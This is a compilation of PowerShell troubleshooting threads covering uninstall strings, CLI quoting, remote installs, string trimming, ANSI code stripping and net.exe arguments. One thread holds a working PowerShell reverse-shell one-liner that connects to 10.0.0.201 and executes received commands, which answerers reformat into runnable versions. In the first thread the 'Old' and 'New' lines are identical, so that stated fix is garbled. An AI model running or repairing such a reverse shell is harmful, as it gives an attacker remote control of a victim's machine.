PowerShell remnant character from registry pull - powershell

When pulling this install string from the registry, there is an invisible leading character.
I am unable to run the uninstall string or strip this character. Various iterations of split, replace, join, etc work against the string, but do nothing to change the errant behaviour. I have tried within PowerShell or the Windows console.
Write-Output $uninst shows the correct string:
MsiExec.exe /x {1F4D7BAB-E816-43DF-B4B1-5A41A2DA13E8} /qn
When executing that string in PowerShell, the msiexec help bubble pops up. When executing that string at the Windows CMD shell, a white square character is at the beginning of the line.
# pull ESET uninstall string
$esetVer = Get-ChildItem -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall |
Get-ItemProperty |
Where-Object { $_.DisplayName -match "ESET Endpoint Antivirus" } |
Select-Object -Property DisplayName, UninstallString
foreach ($ver in $esetVer) {
if ($ver.UninstallString) {
$uninst = $ver.UninstallString
$uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
Invoke-Expression $uninst
Write-Output $uninst
}
}
Removing first char only removes the M.

In my question, I focus on some errant character before the msiexec.exe command line. That apparently was not the issue. The issue was the braces around the app ID ( {1F4D7BAB-E816-43DF-B4B1-5A41A2DA13E8} ). They required a backtick. So, simply including the backtick before the brace in my substitution line fixed the code.
Old: $uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
New: $uninst = $uninst.Replace('/I{',' /x {').Replace('}','} /qn')
This modification worked on 2 Windows 7 Pro computers.

Related

Powershell not accepting normal quotation marks

I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression
As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
Update:
Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:
There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.
Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.
When you used "Unicode" (non-ASCII) double quotes such as “, that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.
On a general note: If you use non-ASCII literals such as “ in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.
The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.
tl;dr
Do not try to use non-ASCII-range quotation marks such as “ and ” (see the bottom section for why).
Instead, use normal (ASCII-range) double quotes (") and escape them as \"
Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.
The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:
Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.
It's best to use overall "..." quoting (see below).
Do not use \ as the escape character - except to escape " characters (see below).
Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
" characters that you want to be part of the PowerShell command to execute must be escaped as \"
Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.
With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer.
When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:
From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
As for using non-ASCII ("Unicode") double quotes:
PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:
As you've discovered “ (LEFT DOUBLE QUOTATION MARK, U+201C) and ” (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")
This answer provides an overview of all substitutions that are supported.
By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range “ and ” characters are passed through as part of the PowerShell command to execute.
That is, the use of the non-ASCII-range “ and ” characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."
However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.
As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.

Remote install script and generate log files when failed to install?

I am trying to modify and fix this script below, so it can install the software in my domain controllers from my Powershell ISE Run as Administrator (With Enterprise Admins credentials)
Get-ADDomainController -Filter * | Select-Object -ExpandProperty HostName | Sort-Object | ForEach-Object {
$session = New-PSSession -ComputerName $_
Invoke-Command -Session $session -ScriptBlock {
Try {
Write-Host "Processing Server ... $($Using:_)" -ForegroundColor Yellow
$process = Start-Process -FilePath "AgentUpdate-x64.exe /s /v"/qn INSTALLDIR=\"C:\Program Files\Software1\" LOG_SOURCE_AUTO_CREATION_ENABLED=True LOG_SOURCE_AUTO_CREATION_PARAMETERS=""&Component1.LogSourceIdentifier=%COMPUTERNAME%" -Wait -PassThru
$process.ExitCode
}
Catch {
Write-Warning -Message "Cannot Install the software on $($Using:_)"
Write-Warning -Message $Error[0].Exception.Message
}
}
Remove-PSSession $session
}
Note: the file AgentUpdate-x64.exe is MSI installer but with the .EXE extension, not .MSI
The error code is:
At line:25 char:245
+ ... REATION_PARAMETERS=""Component1.AgentDevice=DeviceWindowsLog&Componen ...
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.
At line:25 char:270
+ ... onent1.AgentDevice=DeviceWindowsLog&Component1.Action=create&Componen ...
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.
At line:25 char:310
+ ... onent1.Action=create&Component1.LogSourceName=%COMPUTERNAME%&Componen ...
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation marks ("&") to pass it as part of a string.
At line:25 char:356
+ ... %COMPUTERNAME%&Component1.LogSourceIdentifier=%COMPUTERNAME%&Componen ...
The problem is that it does not show any progress and I do not see the completion when it is successful or even failed with SERVERNAME-SoftwareName.LOG?

HOWTO remove whitespace from an automation string to export to a SQLPlus SELECT command LockedOut.sql file

This is an automation of a command to SQLPlus 12c on Linux from Windows 18_3 version on PowerShell 5.1 with Microsoft modules loaded.
I need to clean out the whitespace of the string to input wildcard data on an automation Select script (the final script will find a missing TIFF image and reinsert it).
I am UNABLE to remove the white space before the tee.
The latest attempts are in the post but I have tried Trim, Split, Replace, Remove, Substring, >>, Write-Host -NoNewline,... I am SO close.
When I Write-Host -NoNewline I succeeded in removing the CRLF but not so as I can Tee, Write-Out, or Out-File the content that way.
#Add-Type -AssemblyName System.Data.OracleClient
$filefolder = "C:\EMSCadre\iGateway\clint\Input_Images\"
$Files = Get-ChildItem $FileFolder -Name -File
$longname = $Files.Get(2)
$shortname = $longname.Replace("_tiff","").Replace("cns","").Substring(9).Split('".tif"')
echo "select LD_CASE_NUMBER FROM LOG_data where ld_message_3 like %$shortname%" |
tee -Verbose c:\scripts\input\lockedout_test.sql
type c:\scripts\input\lockedout_test.sql
#Failed attempts
#echo "select LD_CASE_NUMBER FROM LOG_data where ld_message_3 like %($shortname1.TrimEnd('_',"")%" |
# tee -Verbose c:\scripts\input\lockedout_test.sql
Latest Results showing Whitespaces before last %:
select LD_CASE_NUMBER FROM LOG_data where ld_message_3 like %100838953_180130001 %
select LD_CASE_NUMBER FROM LOG_data where ld_message_3 like %100838953_180130001 %
Details to help troubleshoot:
PS C:\scripts> $Files
2823910000.tif
2823910002.tif
cns20180827_100838953_180130001_tiff.tif
exposureworks-dynamic-range-test-f16-graded-TIFF-RGB-parade.jpg
PS C:\scripts> $shortname
100838953_180130001
Looks to me like the last step (Split()) of the statement
$longname.Replace("_tiff","").Replace("cns","").Substring(9).Split('".tif"')
is supposed to remove the extension from the file name. That is not how Split() works. The method interprets the string ".tif" as a character array and splits the given string at any of those characters (", ., f, i, t). Splitting the string 100838953_180130001.tif that way gives you an array with 5 elements, the last 4 of which are empty strings:
[ '100838953_180130001', '', '', '', '' ]
Putting the variable with that array into a string mangles the array into a string by concatenating its elements using the output field separator ($OFS), which by default is a single space, thus producing the trailing spaces you observed.
To remove the prefix cns..._ and the substring _tiff as well as the extension .tif from the file name use the following:
$shortname = $longname -replace '^cns\d*_|_tiff|\.tif$'
That regular expression replacement will remove the substring "cns" followed by any number of digits and an underscore from the beginning of a string (^), the substring "_tiff" from anywhere in a string, and the substring ".tif" from the end of a string ($).

Fix ANSI control characters before PowerShell output to a file

Is there anyway for PowerShell to output a file without ANSI control characters like color control, e.x. [1;xxm or [xm], before outputting to a file,
[1;35mStarting selenium server... [0m[1;35mstarted - PID: [0m 22860
[0;36m[Signin Test] Test Suite[0m
[0;35m================================[0m
Running: [0;32mstep 1 - launch the browser[0m
[1;35m[40mINFO[0m [1;36mRequest: POST /wd/hub/session[0m
The output displays correctly with color in PowerShell terminal, (I've used chcp, not working)
You could try something like this:
... | ForEach-Object {
$_ -replace '\[\d+(;\d+)?m' | Add-Content 'C:\path\to\output.txt'
$_
}
or wrap it in a function:
function Tee-ObjectNoColor {
[CmdletBinding()]
Param(
[Parameter(Position=0, Mandatory=$true, ValueFromPipeline=$true)]
[string]$InputObject,
[Parameter(Position=1, Mandatory=$true)]
[string]$FilePath
)
Process {
$InputObject -replace '\[\d+(;\d+)?m' | Add-Content $FilePath
$InputObject
}
}
... | Tee-ObjectNoColor -FilePath 'C:\path\to\output.txt'
For the windows system one could use the Replace command available as a part of Powershell 3.0.The powershell makes use of regex expression that helps to replace the ANSI Color codes. (In case of UNIX one could use the sed command )
Using Regex
Below is the standard Regex for removing ANSI color codes (can be used in Linux and windows both)
'\x1b\[[0-9;]*m'
\x1b (or \x1B) is the escape special character
(sed does not support alternatives \e and \033)
\[ is the second character of the escape sequence
[0-9;]* is the color value(s) regex
m is the last character of the escape sequence
Final Command
I am here outputting the logs of docker to a log file.One could do the same for other commands
docker logs container | ForEach-Object { $_ -replace '\x1b\[[0-9;]*m','' }| Out-File -FilePath .\docker-logs.log
ForEach-Object refers to each object from the pipped stream and $_ refers to current object.
The above command will remove the special characters like [1;35m , [0m[1;3 and ^[[37mABC from the output stream.

Trying to run legacy executables from powershell script

I am looking to run net.exe from a script and I am having some trouble with spaces. Here is the code...
# Variables
$gssservers = Import-Csv "gssservers.csv"
$gssservers | Where-Object {$_.Tier -match "DB"} | Foreach-Object {
net.exe use "\\"$_.Name '/user:'$_.Name'\Administrator' $_.Pass
$sqlcheck = sc.exe \\$gsssql[1] query "WUAUSERV"
}
When I set line 5 to Write-Host I see that there are spaces that are added outside of anywhere I have quotes which is breaking the net.exe command. How can I remove those spaces?
For anyone questioning how I am doing this, the net.exe command is the only way I can get to these machines as WMI is blocked in this enclave.
My first guess is that you've got "invisible" spaces in your CSV file. For example their is likely a trailing whitespace after the names of your servers in the CSV that your eyes of course don't see. You can fix that either by fixing the CSV file, or using .Trim() on your imported strings -- i.e. $_.Name.Trim()
If that's not the case, or not the only issue, then this is something I've had issues with to. When I have complicated strings like your desired net.exe arguments I've liked to take precautions and get extra pedantic with defining the string and not rely on PowerShell's automatic guessing of exactly where a string begins and ends.
So, instead of baking your parameters inline on your net.exe command line hand-craft them into a variable first, like so
$args = '\\' + $_.name + '/user:' + $_.name + '\Administrator' + $_.pass
If you write-Host that out you'll see that it no longer has your rogue spaces. Indeed you may notice that it no longer has enough spaces, so you'll have to get a little explicit about where they belong. For instance the above line doesn't put the proper spaces between \\servername and /user, or between the username and password, so you'd have to add that space back in, like so.
$args = '\\' + $_.name + ' /user:' + $_.name + '\Administrator ' + $_.pass
Notice the explicit spaces.
I finally resolved this myself using #EdgeVB's solution. The code ended up like this...
# Variables
$gssservers = Import-Csv "gssservers.csv"
$gssservers | Where-Object {$_.Tier -match "DB"} | Foreach-Object {
$cmd1 = 'use'
$arg1 = '\\' + $_.Name
$arg2 = ' /user:' + $_.Name + '\Administrator '
& net.exe $cmd1 $arg1 $arg2 $_Pass
$cmd2 = 'query'
$svc1 = 'mssqlserver'
& sc.exe $arg1 $cmd2 $svc1 | Write-Host
}
Not only do you need to bake the variables in beforehand, but they also cannot cross certain thresholds (for instance, if "use" and "\" are in the same variable, it breaks.